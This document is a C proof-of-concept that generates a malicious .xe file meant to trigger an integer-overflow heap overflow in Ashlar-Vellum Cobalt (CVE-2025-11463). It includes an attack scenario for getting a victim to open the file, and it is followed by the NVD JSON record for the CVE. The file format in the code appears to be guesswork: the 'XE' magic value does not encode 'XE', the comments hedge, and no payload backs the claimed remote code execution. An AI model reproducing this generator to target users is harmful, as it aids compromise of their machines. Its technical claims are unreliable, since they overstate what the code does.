CVE-2025-11463

// CVE-2025-11463 PoC - Malicious XE File Generator // This PoC demonstrates the integer overflow vulnerability in Ashlar-Vellum Cobalt XE file parsing // Target: Ashlar-Vellum Cobalt // Vulnerability: Integer overflow before buffer allocation leading to RCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #pragma pack(push, 1) typedef struct { uint32_t magic; // XE file magic number uint32_t version; // File version uint32_t header_size; // Header size uint32_t data_count; // Data element count - INTEGER OVERFLOW TRIGGER uint32_t flags; // File flags uint8_t reserved[64]; // Reserved bytes } XE_HEADER; typedef struct { uint32_t type; // Element type uint32_t size; // Element size uint32_t offset; // Offset to data } XE_ELEMENT_HEADER; #pragma pack(pop) // Craft malicious XE file with integer overflow trigger unsigned char* craft_malicious_xe_file(uint32_t trigger_count) { unsigned char* xe_file = NULL; size_t file_size = sizeof(XE_HEADER) + 1024; xe_file = (unsigned char*)malloc(file_size); if (!xe_file) return NULL; memset(xe_file, 0, file_size); // Set XE file header XE_HEADER* header = (XE_HEADER*)xe_file; header->magic = 0x58450000; // 'XE' magic header->version = 0x00010000; header->header_size = sizeof(XE_HEADER); // INTEGER OVERFLOW TRIGGER: // Setting data_count to a value that causes overflow when multiplied // Example: 0x40000010 * sizeof(element) could overflow 32-bit integer header->data_count = trigger_count; // e.g., 0x40000010 header->flags = 0x00000001; // Fill with controlled data for exploitation memset(xe_file + sizeof(XE_HEADER), 0x41, 1024); return xe_file; } void save_xe_file(const char* filename, unsigned char* data, size_t size) { FILE* fp = fopen(filename, "wb"); if (fp) { fwrite(data, 1, size, fp); fclose(fp); printf("Malicious XE file saved to: %s\n", filename); } } int main() { printf("[*] CVE-2025-11463 PoC - Ashlar-Vellum Cobalt Integer Overflow\n"); printf("[*] Vulnerability: Integer overflow in XE file parsing\n"); printf("[*] Impact: Remote Code Execution\n\n"); // Trigger value that causes integer overflow // When software calculates: data_count * sizeof(XE_ELEMENT_HEADER) // This can overflow 32-bit integer, resulting in small buffer allocation uint32_t overflow_trigger = 0x40000010; // Close to MAX_UINT32 unsigned char* malicious_xe = craft_malicious_xe_file(overflow_trigger); if (malicious_xe) { save_xe_file("malicious_cve_2025_11463.xe", malicious_xe, sizeof(XE_HEADER) + 1024); printf("[*] Trigger value: 0x%08X\n", overflow_trigger); printf("[*] This may cause integer overflow when calculating buffer size\n"); printf("[*] User must open this file in Ashlar-Vellum Cobalt to trigger RCE\n"); free(malicious_xe); } return 0; } /* * Attack Scenario: * 1. Attacker crafts malicious .xe file with oversized data_count field * 2. Victim opens the malicious .xe file in Ashlar-Vellum Cobalt * 3. Software parses header, calculates buffer size: data_count * sizeof(element) * 4. Integer overflow occurs, resulting in small buffer allocation * 5. Software writes data_count elements into undersized buffer * 6. Heap overflow occurs, enabling arbitrary code execution * 7. Attacker gains code execution in context of Cobalt process */

{"cve": {"id": "CVE-2025-11463", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.057", "lastModified": "2025-11-04T21:25:09.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ashlar-Vellum Cobalt XE File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of XE files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-26626."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:12.2.1204.97:*:*:*:*:*:*:*", "matchCriteriaId": "C0A7B7EF-4D31-41A6-839C-600D91647F69"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-954/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}